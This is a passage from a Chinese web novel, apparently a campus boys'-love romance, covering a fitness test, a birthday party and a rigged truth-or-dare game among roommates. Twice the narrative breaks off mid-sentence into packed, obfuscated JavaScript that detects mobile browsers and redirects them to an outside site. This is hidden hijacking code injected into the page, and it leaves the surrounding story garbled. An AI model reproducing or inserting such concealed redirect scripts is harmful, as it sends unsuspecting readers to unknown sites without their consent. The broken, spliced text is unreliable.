最终,江千陵还是摸上了床。 已经快三点了,林枫晚懒得跟他计较,打个哈欠,在他怀里找了个舒适的位置,睡了。 —— “事情的经过就是这样。”林枫晚摊手。 除了出卖□□换取车位的具体过程,林枫晚事无巨细地给交代了,连他住几零几都说了。 顿时,宁启洄和岑柏意看向江千陵的眼神都十分复杂。 宁启洄是谴责他趁火打劫的不道德行为,岑柏意却带了点莫名的意味。 “你们……”宁启洄表情复杂。 睡了一觉就谈上了,还是这么狗血的约炮过程。 似乎猜到他在想什么,江千陵笑眯眯从行李里抬起头,“我们有一定的感情基础。” 林枫晚:“……”放屁,分明是你答应老子,谈恋爱了下次让我在上面! 宁启洄表情更加复杂,不到一个星期的坚固爱情基础吗? 还是基于他们俩的照片之上,宁启洄默默看了眼岑柏意,收回视线。 比起这个,宁启洄更关心另一件事情,“你妹妹不好奇?” 想到什么,林枫晚脸一黑,冷笑好几岁。 倒是江千陵慢慢悠悠接话,“妹妹没好奇,喊我‘哥夫’喊得可亲热了。” 宁启洄好奇:“她怎么看出来的,为什么不是‘嫂子’?” 江千陵看了眼脸黑如锅底的林枫晚,笑了一下,“因为,他脖子上全是我啃出来的痕迹,打眼一看就知道被我s……我们睡过了。” 在林枫晚的死亡视线下,江千陵把“上了”两个字咽回去,顺从地改口。 宁启洄:“……”他就多余问。 “你家司机送你们来的?”安静片刻,他再次问。 到A市了,不该各回各家,自家司机来送吗? 江千陵点头,弯了弯眼,“毕竟谈恋爱了,想和男朋友多相处相处。” 林枫晚抬眸看了他一眼,没说什么。 事实是,他满身的痕迹,脖子大剌剌露在外面,回到家肯定会被发现,干脆拎着行李箱去了江千陵家,然后直通学校。 宁启洄:“……”他再也不嘴贱了,真的多余问这话。 26. 体测 假期结束,又要迎接美好的明天,以及不太美好的体测。 宁启洄原地跑出去十几米,完全没有不适的感觉,他又看了看自己的腿,觉得非常行。 他,天赋异禀,一个月就能蹦蹦跳跳,就很棒。 他的腿伤得不算特别严重,在医院躺个把月,纯纯是逃军训去的。 现在走路自如,蹦蹦哒哒,他觉得非常OK。 体测是以体育教学小班进行测试,石云朗带他们先去测了室内的项目,肺活量立定跳远等一切正常,引体向上也拉了不少,宁启洄自信心开始膨胀。 走到跑道边,看了眼场中奔跑的那几个班——一般情况下,是几个教学班同时测试,老师通过不太的方式给自己班的同学计时,这样节约时间。 宁启洄站在阴凉处看了看,眯起眼,有个奔跑的身影有些眼熟。 等他凑近,宁启洄这才确信,那人就是岑柏意。 据说,岑柏意和江千陵选的是篮球课。 岑柏意跑得很快,冷峻的面容丝毫未变,头发迎风抖动,有部分汗湿到半透明短袖紧贴在身前,隐约勾勒出腹肌的轮廓。 宁启洄眯着眼睛打量了一番,还是好看。 一双长腿迈得飞快,很快就跑到了队伍最前面。 太阳很大,直到跑完,岑柏意的表情都没有丝毫改变,只是额头出了点汗,身上的衣服有点湿。 在老师那里登记完成绩,岑柏意拎包准备走,却无意间瞥见树底下的宁启洄。 他犹豫片刻,还是过去了。 “你们也来体测?”他垂眸问。 宁启洄点头,掏出湿巾给他,“擦擦汗。” 一旁的江千陵挑眉,看向没什么表情的林枫晚,“我没有吗男朋友?” 林枫晚:“……”给你两巴掌你要不要? 江千陵真心实意叹气:真是无情。 这边,他们班上也要去跑步了,宁启洄和林枫晚起身过去。 岑柏意抿唇,提醒道:“注意调整呼吸,第一圈速度不用太快……” 宁启洄一怔,随即笑着点头。 等人都走远了,江千陵才斜睨了他一眼,毫不留情地嘲笑道:“岑哥,人家高中又不是没体测过,不至于哈哈哈哈!” 岑柏意瞥了他一眼,淡淡道:“难怪林枫晚看不惯你。” 江千陵:“……”过分了啊。 跑第一圈的时候,宁启洄是觉得很顺利的,直到后面,每一次下脚,他的伤退隐隐有一种刺痛感。 他的速度越来越慢,降缓频率才能缓解这种不适感。 林枫晚也慢下来,陪在他身边小声说:“阿宁,是不是腿又疼了?要不我们不跑了?” 宁启洄摇头,“体测算分的,你别陪我了,先跑完。” 林枫晚也摇头,“体测而已,及格就行。” 说着,等离开老师的视线了,手臂环住宁启洄的背,把他的重量全都压在自己身上,减少那条伤腿的压力。 “慢慢跑没事,我们前面跑得快,能及格。”林枫晚小声说。 宁启洄脸有些苍白,他也不逞强了,腿部的刺痛感越发强烈。 又跑了一圈,马上要到终点了,为了不被举报作弊取消成绩,林枫晚只得松手,“阿宁,实在不行慢慢走也没事,其他项目拉分也能及格。” 宁启洄点点头没说话,忍痛继续跑。 坐在阴凉处看的岑柏意终于意识到不对劲,他起身,直接跑到最近的终点处等着,视线一动不动盯住前方慢吞吞向终点移动的人。 他恨不得自己跑去把人扶过来。 宁启洄实在没力气了,一过终点线就跌跌撞撞向前扑倒。 岑柏意上前一步把他拥入怀中。 特地快宁启洄十来秒、缓过劲来准备接人的林枫晚:“……?” 不是,兄弟? 扑进岑柏意怀里的一瞬间,宁启洄脑子里只有一个念头:他再也不逞强了,再逞强他就是狗。 林枫晚也反应过来,飞快跑过去,“阿宁怎么样?” 看着两人对宁启洄嘘寒问暖,江千陵看得牙酸,岑哥就算了,他男朋友怎么也对他岑哥对象这么热情? 没人关心的江千陵看了几秒,还是认命拎着大包小包跑上前。 登记完成绩,大家就可以离开了。 宁启洄被岑柏意拖着去医院做了检查,之后还有课,便就近去了校医院做检查。 一脸担忧的林枫晚被江千陵半拖半拽拉去了教室。 江千陵:没点眼力见的,打扰你兄弟谈情说爱了知道不? 想着,江千陵内心凄凉无比。 好不容易正正经经谈个恋爱,老婆无时不刻都想着在反攻,他还得任劳任怨给他岑哥当僚机。 自己这边没什么动静,倒是岑哥那边打得火热。 风流潇洒的江少爷难得一脸牛马样,拉着林枫晚去了教学楼。 —— 校医院的骨科也还不错,骨科校医看了看,并没有什么异样,只叮嘱他最近不要剧烈运动就好。 岑柏意蹙起眉头,“没了?” “没了。” “可是他很疼。” 校医瞥了眼宁启洄煞白的脸,又看了看岑柏意漆黑如墨的脸色,没好气开口,“谁让他非要造作的,老实几天就好了,痛也忍着。” 岑柏意还想说什么,被宁启洄拉住了,后者凑到他耳边小声说:“我也不是很疼了,回去吧,等会还有课。” 如果不是因为体测结束提前下课,估计这次来看腿又得请假了。 温热的气息擦过耳畔,岑柏意默了默,没说话。 见他不说话,宁启洄歪头看了看他,突然揪住他的衣袖,轻轻晃了晃,“好不好?” 对上那双清澈的眼睛,岑柏意恍惚一瞬,好久才稳住心神。 他背对着宁启洄蹲下身,示意他趴上来。 那一瞬间,宁启洄的表情复杂极了。 刚才过来校医院的时候,岑柏意为什么没想到背他? 不过岑柏意把他半搂在怀里,他的腿也确实没怎么用力。 想到这里,宁启洄一回生二回熟趴了上去,岑柏意起身,稳稳把他背在背后。 “痛就跟我说。”岑柏意说。 宁启洄乖乖点头,又意识到他背对着自己看不到,应了声好。 见得多了的中年医生眼观鼻鼻观心,目光定定盯着桌面,只觉得桌子上这骨骼模型可真骨骼啊。 —— 路上学生都在匆匆赶路去上课,似乎没什么人注意他们。 岑柏意很平静地背着宁启洄走在路上,背上的人也很安静,只有靠在颈窝的呼吸很有存在感,一起一伏。 岑柏意定了定神,缓缓开口:“你刚才,撒什么娇。” 撒什么? 什么娇? 在说哪个女生? 聂娇娇? 宁启洄反应慢了半拍,然后才反应过来,他突然睁大眼睛,“撒娇,我吗?” 岑柏意沉声,“嗯。” 宁启洄默了默,开始复盘自己刚才和岑柏意甚至和医生的对话,试图找出自己哪里撒娇了。 见他沉默不语,岑柏意以为他生气了,有些不知所措。 半晌,他抿唇找补,“不是说你不能撒娇的意思,是说……” “嗯?”忽略掉不知道哪里来的撒娇,宁启洄成功被他拉回注意力。 “你以后不要随意对别人撒娇。”岑柏意顿了顿,继续说,“你这样,很容易让人误会。” “误会什么?”宁启洄好奇问道。 “误会……”你喜欢他们,但这话,显然是不能说的,这人还没这种意识。 岑柏意抿唇,顿了几秒,谨慎开口:“误会你是 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但现在显然不是讨论这个的时候,他毫不怀疑,如果他说自己没撒娇,这位下定决心牺牲不少的中国好舍友,估计会鲨了他灭口。 还是不说为妙,宁启洄谨慎地想着。 于是,他顺从地回答:“嗯!” 似乎怕背着他的人不信,宁启洄继续说:“我以后只对你撒娇。” 岑柏意没说话,可宁启洄却感觉到他抄着他膝弯的手紧了紧。 看来是听到了,宁启洄想。 他没注意到,那藏在黑色发丝之间的耳朵悄然红透了。 安静了一会,路上彻底没人了,宁启洄突然问:“那你不会觉得我撒娇像个娇气包吗?” 从语言逻辑的角度来看,岑柏意刚才的话有点不通。 “不会,你可以撒娇,也可以娇气。” 前提是对着我,岑柏意在心里默默补充。 逻辑通了。 宁启洄莫名心情很好,像是吃了颗蜜枣,心里甜滋滋的。 —— 上完一天的课,宁启洄瘸着腿回寝室。 特地等他下课了一起回来的岑柏意小心在他身后护着,见宁启洄一个跳跃进门,他皱眉,“腿还没好,不要乱跑乱跳。” 宁启洄撇嘴,“知道了知道了。” 步子还是慢下来。 落后几步的林枫晚看得新奇,戳了戳江千陵,“哎,你发现没有,他们俩怎么看起来怪怪的。” 你才知道啊? 江千陵一脸微笑,“哪里怪了?” 林枫晚琢磨了一会,摸摸下巴,“阿宁怎么不怼他,我管他的时候老是挨怼。” 江千陵:“……” “怼完也不听我的,恨不得作上天。” “……”小点声,宿舍门没关。 林枫晚:“CP贴也没人说要删。” 江千陵:“……”删不了,那是他们爱情开始的地方。 “好像,有点好磕啊。”林枫晚下结论。 江千陵点头:“是有点。” 何止是好磕,简直嗑生嗑死了。 而此时,当事人宁启洄瘫在床上刷帖子。 不出所料,贴吧同人贴再上新粮,全是跑道上岑柏意接住他的图片,甚至各个角度的都有。 宁启洄已经能做到面不改色了,他轻车熟路点进看花人太太的主页,想看看林若锦会不会对他哥哥以及哥夫进行一番伟大的文学创作。 结果令他有些失望,林若锦过于专情,这个号就逮着他和岑柏意薅。 可惜了,本来还以为能有个一起分享秘密的好兄弟,现在看来,这份甜蜜的痛苦只能他自己承担了。 想着,宁启洄点开一篇同人文,美滋滋看了起来。 27. 生日 一晃,时间到了十月十一号,宁启洄邀请几位舍友晚上参加他的生日宴。 宁启洄在学校认识的人不多,原本也只打算请他们去。 他没有邀请岑念,毕竟岑念还小,他们都是十八二十来岁的人,和他聊不到一块,到时候也没办法照顾到。 江千陵靠着衣柜,斜觑了眼岑柏意,半眯着眼睛笑,“小寿星,我们需不需要穿正装出席?我有好些高定呢。” 宁启洄也笑,“可惜,你的高定暂时没有用武之地了,穿简单点就行,宴会没多少人。” 林枫晚大大咧咧揽住宁启洄,“以前我都是穿短袖大裤衩过去的。” 就很亲昵,外人似乎完全插不进去话。 简单一个动作,引起两个人的不爽。 江千陵和岑柏意同时眯起眼。 宁启洄翻了个白眼,“小心让你爸给逮住。” 林默远一看见他穿得这么随便就会开始念叨。 倒也不是林枫晚不愿意穿,他第一次在宁启洄面前穿西装,一副假正经的模样。 当时的林枫晚还没长开,西服有些稍宽了,看着就很像卖保险的,宁启洄见了笑了半宿,气得他后面都不怎么穿了。 “没事,苏姨会护着我的。”林枫晚没心没肺笑着。 宁启洄也笑了一下,“我们单独开了个厅,都是同龄人,不用太局促,可以随意一些。”但也不要随意成这货这副德行。 说着,瞥了眼林枫晚。 “……”在场其他两人都悟出了这份深意。 —— 晚上六点,几人下了课,纷纷各回各家换衣服,之后林枫晚眼巴巴跟着宁启洄蹭车直接去了。 六点四十左右,岑柏意和江千陵先后来的宁家另一座不常用的别墅,这是专门用来举办宴会的别墅,占地面积不小,一共有四层。 一楼二楼是宴会厅,三楼是娱乐区,四楼是宾客休息室,五楼是宁家人自己暂住的卧室——虽然基本上不会过来住,但该有的仪式感还是得有。 宁启洄穿着得体的白色西装,看起来像个精致的小王子,头发梳起抹了发胶,看起来清爽又帅气笑着迎上去。 岑柏意一身剪裁合体的咖色西装,笔挺的西裤包裹着一双大长腿,面容冷峻又柔和,整个人散发着青春又成熟的魅力,像是来自西方中世纪的绅士,优雅又迷人。 爱了爱了,这就是男大吗,宁启洄抿嘴笑了一下。 一旁的江千陵则是穿着天蓝色的西装,看着很阳光帅气,整个人都写满了活力和魅力。 林枫晚:“……?”卷我? 林枫晚低头看了看自己去年买的长袖连帽卫衣,和前年买的休闲裤。 好像……好像是有点随便了哈。 还好,起码,起码他的鞋是新买的,林枫晚安慰自己。 岑柏意见宁启洄的视线一直停留在自家身上,罕见地有些局促,他小声问宁启洄,“怎么样?” 宁启洄也小小声回应他,“超帅!” 江千陵羡慕地看了一眼,随即凑到林枫晚跟前,“我今天怎么样?” 林枫晚一脸嫌弃,“丑死了离我远点。” “……”他不气。 江千陵打量着这栋豪华漂亮的别墅,啧啧两声,有些揶揄地看着宁启洄,“这别墅可不便宜,宁大少爷居然还要做家教赚钱?” 宁启洄抿了口酒,淡定道:“毕竟这别墅还没落我手里。”言下之意,家里的财政大权掌握在宁先生手里,他只是个吃白饭的。 其实也不全是,苏女士也有一部分,看上几十万的包,眼睛都不眨一下就买了,家里只喷了一两次的香水更是数不胜数。 哪里像他,现在吃个贵点的海鲜大餐都得精打细算。 全家,只有他,没有实现经济自由,实打实的无业游民。 宁启洄面无表情,内心流泪。 江千陵:“……”真是父慈子孝。 七点,宴会准时开始。 这边正说着话,小宴会厅的门再次被推开,熟悉活泼的女声穿进来。 “宁哥你居然不叫我!”林若锦穿着米色公主短裙,蹦蹦跳跳走过来。 身后隔了些距离的胡女士忍不住提醒:“小心裙摆!” “知道了妈咪!”林若锦依旧蹦蹦跳跳,“我穿了安全裤的~两层~~” 这边几人:“……”安全裤真是被你物尽其用啊。 岑柏意侧目挑眉:宁哥? 宁启洄看回去:一种奇妙的辈分罢了。 林若锦注意到这隐晦的对视,抓住她哥的手臂无声尖叫:啊啊啊啊啊!新的素材!磕到了!!! 宁启洄咳嗽一声,打断林若锦眼睛里肉眼可见的文字滚动。 “你这不是跟着胡姨来了。” 林若锦噘嘴,“但你都邀请了我哥,就是很不公平。” 林枫晚挑眉,嘚嘚瑟瑟道:“我和你能一样吗?我和阿宁那可是从小玩到大的交情!” 林若锦瞥了眼面色如常但唇微微抿起的岑柏意,“……”劝你别造作,正主就在边上看着。 想着,又看了看笑容略显僵硬的江千陵,默默在心里给他仇恨拉满的憨批哥哥点蜡。 林若锦默默隐身去拿小蛋糕,试图把自己“拱火人”的身份从这场风波里摘出去。 宴会进行到下半场,只是出于面子工程来的宾客都已经退场,剩下的都是出于真感情或者有合作的。 “这个蛋糕咋没了?”宁启洄看着角落空了一片,嘀咕道。 餐盘上沾了点淡紫色的奶油,看来确实很好吃。 已经到下半场了,大家基本上去了娱乐区或者单纯在喝酒,并没有补餐品这个环节了。 宁启洄看了眼空空的餐盘,决定出去一趟。 他在自家别墅吃东西,应该没人会说吧? 宁启洄看准那块放满了这种蓝莓小蛋糕的地方,鬼鬼祟祟出了门,全程避开宁霄城的视线,终于顺利到达目的地。 “你在干什么?” 宁启洄刚夹起一块小蛋糕,被旁边突如其来的声音吓了一跳,蛋糕啪叽倒着摔进盘子里,奶油糊得到处都是。 “……”宁启洄深吸一口气,回头微笑,“怎么了,这位女士?” 来人化着精致的妆容,颈间搭配一条华贵漂亮的宝石项链,此刻面带微笑看着他。 “你好像遇到点麻烦,需要我帮忙吗?”女生友好微笑,唇瓣弧度弯成最完美的角度,仿佛精心计算过。 宁启洄动作飞快,夹了满盘子蛋糕,默默远离她。 吃东西有什么好麻烦的。 想怎么帮,帮他吃掉一点? 女生没有再跟上去,只是静静看着他离开。 “爸,他们家不过就是泥腿子出身,至于这么讨好吗。”等宁启洄一走,女生立马垮下脸,不满道。 他爸爸急忙捂住她的嘴,四处看看,这才小声说:“你不知道,这宁总虽然出身不好,但白手起家能创立起如今A市最大的几家企业之一,可是不简单啊,你要是能和他的独子在一起,我们家的生意就不愁了!” 女生闻言,眸光一闪,有了自己的算计。 宁启洄端着满满一盘子,鬼鬼祟祟试图溜走,突然就被宁霄城叫住了。 “家里是短了你吃喝吗?”宁霄城看着宁启洄满满当当要溢出来的盘子,眉头皱得能夹死一只苍蝇。 宁启洄沉默,最近,还真有那么一点拮据了。 见他不说话,宁霄城气笑了,“不知道的还以为我虐待亲子。” 宁启洄投以一视:难道没有吗? 哪有比他过得惨的富二代? 莫名读出眼神的宁霄城:“……”逆子。 “重新拿,少拿点,被人看见以为你饿死鬼投胎。” 扣押下他的餐盘,宁霄城摆摆手,让他快滚。 宁启洄撇嘴,重新开始搬运大业,这回学聪明了,他吃饱了再上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岑柏意垂眸,盯着宁启洄的发旋看了好几秒。 他其实在门口看到了,那些人一个接一个把他拦住,多得他心里冒酸水。 他得快点下手了。 岑柏意抬眸,看了一会,问:“喜欢吃这个?我可以给你做。” 宁启洄摇头:“不是,其实我还没尝过。” 岑柏意莫名,“那你拿这么多?” “小宴会厅的蓝莓小蛋糕已经没了,肯定是因为特别好吃。”宁启洄语气陡然沉重,“没吃过的才是最好的。” “……”岑柏意看着宁启洄清亮的眸子,轻声,“恭喜你,成年第一天彻悟残酷的现实世界。” “……” “还吃吗?”岑柏意端起盘子,微笑看他。 “……来一个。”被迫陡然接受残酷真相的宁启洄愤愤咬了一口来自现实世界的蓝莓小蛋糕,栓栓的,味道也还不错。 —— 宴会进行到后半场,一群二十来岁的少男少女待着也无聊,林若锦提议玩游戏。 虽然明天周六,但不少人周六也有课,大家都顾及着还要上学,就没有喝太多酒,此刻都是微醺的状态,玩游戏正合适。 “玩什么?”宁启洄问。 林若锦的大眼睛扑闪几下,视线在他和岑柏意身上徘徊,随即弯起嘴角,“那就,真心话大冒险吧!” “好!我赞成!” “我也来!” “加我一个!” 宴会厅里的人大多是宁启洄的朋友同学,也都认识林家这位小公主,这个时候都很给面子地捧场。 “……?”林枫晚迷惑,什么时候他妹面子这么好使了,这破游戏都跟着玩? 林若锦收好给请的托儿们挨个转账的手机,深藏功与名。 28. 游戏 小宴会厅里堆满了酒水和食物,众人转移战场去了四楼的休息室。 一群人穿着各式各样的服装,五彩斑斓地顺着楼梯往上走,宁霄城投以一瞥,又很快收回视线,像是被什么东西辣到了眼睛。 这个逆子,去休息就去休息,这么多人一起去干什么! 一旁和他交谈的中年人乐呵呵笑了,“宁总,小洄今天过生日,就让他去吧。” 他来之前打听过了,这位宁总对他的独子要求极为严苛,家风很正,估计现在是看他儿子的作风又不顺眼了。 听说这位宁总年轻时吃了不少苦,才终于得到宁夫人父母的认可,抱得美人归,这种做法估计也是想让儿子不忘本。 中年人乐呵呵想着,冲他举杯。 宁霄城和他碰杯,抿了口酒液,突然扭头看他身侧的男生,“冯总,你小儿子是在A大读大一对吧?” 被称作冯总的男人乐呵笑了几声,“对对对,读的物理系,说起来阿毫和小洄还是同一个年级的。” 一旁捧着酒杯百无聊赖四处张望的冯兹毫听到他们的话,突然一顿,随即问道:“宁叔叔,您儿子是叫宁启洄吗?” 宁霄城挑眉,“对,你认识?” 冯兹毫眼睛一亮,“认识啊,上次还一起出去玩了!” 宁霄城笑道:“那你和他们一起去四楼吧,最里面那个房间。” “哎好!”冯兹毫咕咚咕咚把酒喝完,美滋滋溜上楼。 “你这孩子,都不和宁总说再见。”冯总看着冯兹毫欢脱的背影,叹气,“孩子大了,管不住了。” 想到他家那个逆子,宁霄城也叹气,“是啊。” —— 冯兹毫兴高采烈来到四楼,敲了敲门。 开门的是一个他不认识的男生,“酒放桌子上就好,多拿点瓜子来,再要点零食和水果拼盘,西瓜别切块。” “?”什么东西? 说了一大堆,见他没反应,那男生也奇怪,“你的小推车呢?”难道运东西一趟一趟运? 没看出来啊,阿宁家的服务员这么质朴又勤劳。 见门口一直在僵持,宁启洄走过来,看见冯兹毫,先是一愣,随即想到,今天的宾客名单里确实有一家姓冯的,是刚从京城来A市的。 没想到冯兹毫居然是冯家的孩子。 估计是宁先生让他过来的。 “进来吧。”宁启洄让开一点位置,“这是我朋友,服务员去三楼送东西了,要等会才过来。” 宁启洄坐回原来的地方,岑柏意抬眸,对上冯兹毫的视线。 “……” 他抿唇,低声问:“你请他来的?” 宁启洄摇头,“跟着冯总来的,就京城那位。”怕岑柏意不知道,宁启洄特地解释了一句。 其实岑柏意知道冯家,他只是想确认一下,冯兹毫是宁启洄邀请的,还是跟着家长来的。 听到想要的回答,岑柏意轻轻皱起的眉舒展开。 这边,林若锦翻出很久没用的麦克风,连接音响,开始造作。 她眼睛滴溜溜转着,像是揣了一肚子坏水的模样。 果然,下一秒,她开口道:“我们来玩击鼓传花唱歌接词,大家传这个小玩偶,同时播放音乐,我喊停就停,接到的人必须根据音乐暂停的时候,唱出下一句词。” 听歌从来记不住词的宁启洄:“……”有被针对到。 是不是有点不讲道理了,好像过生日的是他才对? “大家要遵守规则,不许用手机作弊哟~” 对上林若锦那堪称反派的视线,宁启洄手一抖。 他觉得他知道林若锦在打什么坏主意了。 林若锦这边也在叹气,她本来是想摇骰子拼酒的,毕竟酒后吐真言,肯定更刺激。 但宁叔叔就在楼下,要是被知道是她撺掇的,她爹地肯定会扣她零花钱的! 不可以,她的小钱钱还要给她磕的CP约图呢! 宁启洄试图反抗,反抗无效,被几个收买了的托给强行镇压。 游戏开始,第一首选了一曲比较简单又经典的歌,旋律欢快清新有活力,是罗大佑的《童年》。 “池塘边的榕树上, 知了在声声叫着夏天。 操场边的秋千上, …… 嘴里的零食, 手里的漫画——”① 音乐戛然而止,林若锦冲宁启洄笑了笑。 其他人都觉得她选这个是做个铺垫,毕竟简单,热热场子。 只有她和林枫晚知道,宁启洄是真的不记歌词。 见宁启洄沉默,有人开始起哄。 “不会吧宁哥,《童年》你都不会?”一位初中好友夸张道,“你初中不是听过好几遍吗?” “……”宁启洄没什么表情,麻木道,“《童年》,我只看高尔基。” 众人:“……”社会社会,惹不起。 林若锦嘿嘿一笑,“宁哥,要不你就先试试呗。” 宁启洄:“……” 在十几双饱含期待的目光中,宁启洄缓缓开口:“身上……新款的T-shirt~” 开始分析: 嘴里手里对身上,都是身体部位很合理。 零食和漫画,和身上相关的,下一个该是衣服了。 至于这个英文……罗大佑是中国台湾的歌手,飙两句英文也正常。 思索五秒,得出结论。 歌是在调上,也很好听,介于少年和青年直接的音色清亮又低沉,像是夜间起舞的蝴蝶惹人心动。 就是,词不太对劲。 静默几秒,全场发出一声爆笑。 宁启洄面无表情,他就知道。 直接接受惩罚不好吗,非要让他唱歌。 突然,身侧的人动了动,宁启洄侧目看去,发现岑柏意的肩膀可疑地耸动着。 “……” 你背叛了我们的革命友谊,岑柏意。 背叛者紧紧抿唇,但已经控制不住地翘起嘴角,他眼里闪着细碎的光,只看一眼,便像是扑进满天星河,被星空包裹。 惩罚开始。 林若锦一本正经问他,“宁哥,你要选真心话还是大冒险。” 宁启洄谨慎地看了她几秒,“大冒险。” 先不能选真心话,鬼知道这妮子会找他套什么话。 宁启洄敏锐地捕捉到她眼里笑意闪过。 好像上当了。 林若锦清清嗓子,装模作样抽了张卡,“大冒险啊……那就,你坐到你右边那人腿上玩三轮游戏吧。” 宁启洄:“……你是不是在针对我?”别以为他没看见,她刚刚把这牌藏手心了。 林若锦惊讶,“怎么会呢?这牌是晓云看着我写的,是吧晓云?” 初中的时候,宁启洄和林家兄妹是同班同学,晓云也是他们的同学之一。 这会,坐着一边的女生安静点头,“是的是的,一共写了五十三张惩罚牌,这种惩罚牌很少的。” 得到肯定,林若锦又笑眯眯的,“哎哎哎,只能说我们宁哥运气好,上天保佑。” “……”放屁,你这叫事在人为。 “不对,为什么是你来当裁判?”宁启洄冷静质疑,还想在社死之前再争取一下。 林若锦惊讶,“没跟你们说过吗?游戏发起者不参与游戏,担任裁判。” 就差直接说,是的,我是来吃瓜看戏的。 “我不能自己抽吗?” “不能,最终解释权归裁判所有。”林若锦笑眯眯拒绝。 似乎宁启洄质疑的眼神过于明显,林若锦坚定道:“我绝对会做出最公正的判决,所有黑暗都无所遁形,这位同志,你尽管放心。” “……” 宁同志不是很想放心,这位刚正不阿的裁判眼里闪过了大量同人文的素材剪辑。 甚至高清□□! 宁启洄看了眼林枫晚,一言难尽。 真的,你妹妹不去干传.销可惜了,给人忽悠得一愣一愣的。 到底坐个大腿也没什么,同性坐总比异性坐好,有不少女生都松了口气,庆幸还好不是自己抽到了。 宁启洄嘴角抽了抽,且不说林若锦暗箱操作不会人女生抽到这种和异性肢体接触的牌,就他那一比一的人为运气以及烂到极致的接歌能力。 估计是没机会让他们接受惩罚了。 宁启洄叹气,反正在场的除了A大熟人,就全是初中高中同学了,没人看过那CP贴。 坐,就坐吧。 想着,宁启洄瞥了眼岑柏意,后者岿然不动,面色如常,似乎毫不在意。 舍友直接搂搂抱抱怎么了,岑柏意还背他好几次呢! 这么一想,宁启洄不别扭了,大大方方坐下。 “嗯…”岑柏意轻哼一声,大腿肌肉瞬间绷紧,似乎有些受不住的意思。 “怎么了,我很重吗?”惩罚要过三轮游戏,一旦开始就不能下去,宁启洄只能偏头问他。 岑柏意呼吸有些紊乱,过了几秒,他才说:“没事,你不重。” 宁启洄还想问什么,却见下一轮游戏又开始了,只能转回去专心递玩偶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012939|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他转过去动作有点急,屁股在岑柏意大腿上转了半圈,岑柏意又哼了一声。 “怎么了?” “没事,坐好别乱动。”岑柏意声音有些沙哑,比之前更低了。 宁启洄顿了顿,“你别把手放腿上。”硌到屁股了! 岑柏意深吸几口气,说好。 “你往前一点,我把手挪一挪。” 宁启洄听话地往前窜了窜,身后的硬物感消失,似乎是岑柏意把手从腿上放下来了。 也不知道给他手压麻了没有,宁启洄嘀咕。 这轮音乐放了蛮久,林若锦直勾勾盯着咬耳朵的两人,咬唇忍着想要尖叫的冲动。 啊啊啊啊啊!果然!这个惩罚真是太美妙了! —— 接下来又放了几首歌,有时候会点到宁启洄,有时候也会点到其他人。 但目前为主,双方的概率比是一比一,而且,宁启洄没有一次能接得上来。 所以,宁启洄在这短短十分钟内,和岑柏意牵了手,面对面坐着对视一分钟,拥抱半分钟以及嘴对嘴吃一根pocky。 宁启洄觉得,就很过分,但其他人似乎完全意识不到一样,唯一觉得哪里不对劲的林枫晚,被江千陵按着啃西瓜。 当然,为了不做得太明显,林若锦还是会掩人耳目地调整一下歌曲难度,让别人也适当接受一点惩罚。 比如,有一位倒大霉的男同学,被叫去换上服务员的衣服,给三楼玩牌的太太们挨个敲门送点心。 “您好,A市同城闪送竭诚为您服务,我的工号是1998736,希望您能给我个五星好评,爱您哟~”然后和太太们比个爱心拍张照。 这样的动作重复了三十多遍,每次报的工号还都不一样,直到被他妈录视频发到家族群里嘲笑。 那男生端着盘子,魂不守舍飘了回来。 旁边人安慰他几句。 男生表示,他们不懂,今晚,他就要在一百多号人的家族群里原地出道了。 又玩了一圈,宁启洄顿悟。 看明白了,主打一个别人都会,就他接不上来。 林枫晚玩着玩着也觉得不对劲,给宁启洄咬耳朵,“阿宁,你咋一句都接不上来,你是不是故意放水的?” 虽然他知道宁启洄不记歌词,但没想到是真的一句都记不住啊。 宁启洄心神一震,不敢置信。 击鼓传花唱歌接词有什么好放水的,遭殃的明明只有他?! 是,林若锦是放水了,但是水都完美避开他在的地方了。 不对,何止是放水,简直是泄洪,但是他正好处于洪水中的避水罩里,就很他妈被针对,连带边上的岑柏意遭了殃。 果然,在林若锦要按停音乐下黑手的时候,宁启洄眼疾手快,把玩偶囫囵塞给了岑柏意。 歌曲暂停。 全场人直勾勾盯着岑柏意手里巴掌大的兔子玩偶,只有林若锦,泫然欲泣看向宁启洄。 林若锦:你变了宁哥,你居然能为了自己牺牲你的好CP! 宁启洄:人不为己,天诛地灭。 又扭头看了眼岑柏意,“死道友不死贫道,加油这位道友,祝你早日飞升。” “……” 林若锦还是有点怕岑柏意的,毕竟他看起来不太好相处。 但想了想自己还在萌芽的CP苗,她咬咬牙,迎难而上。 “真心话大冒险,选哪个呢?” 岑柏意想了想刚才抽到的那些大冒险,默了默,果断选择真心话。 林若锦眼睛一亮,“很好少年,你是今晚第一个选择真心话的幸运鹅。” “让我康康这位幸运鹅会抽到什么牌呢……”林若锦装模作样洗了洗牌。 宁启洄:“……”别藏了,我都看见你衣袖里的牌了。 “啊有了!请说出你理想对象的三个特征!” 这个问题不是很过分,但宁启洄就是感觉林若锦的视线若有似无落在他身上。 岑柏意认真想了想,余光落在宁启洄身上,回想起最近相处的点点滴滴。 “好看,听话,有爱心。” 林若锦笑容一僵,除了第一条,其他的好像和她宁哥不太对得上啊。 想着,目光看向宁启洄,满是谴责和鞭策:宁哥,从现在开始,你要成为一个听话且有爱心的人……个毛啊! 爱心不爱心先不说,她宁哥这狗脾气,点起来能炸宇宙。 听话,他连宁叔叔的话都不听。 林若锦整个人都蔫了下去,像是脱水小白菜,没劲了。 29. 礼物 游戏继续,凌晨一两点了,大家决定玩完这把就收工。 七百CP头子林若锦决定再莽一把。 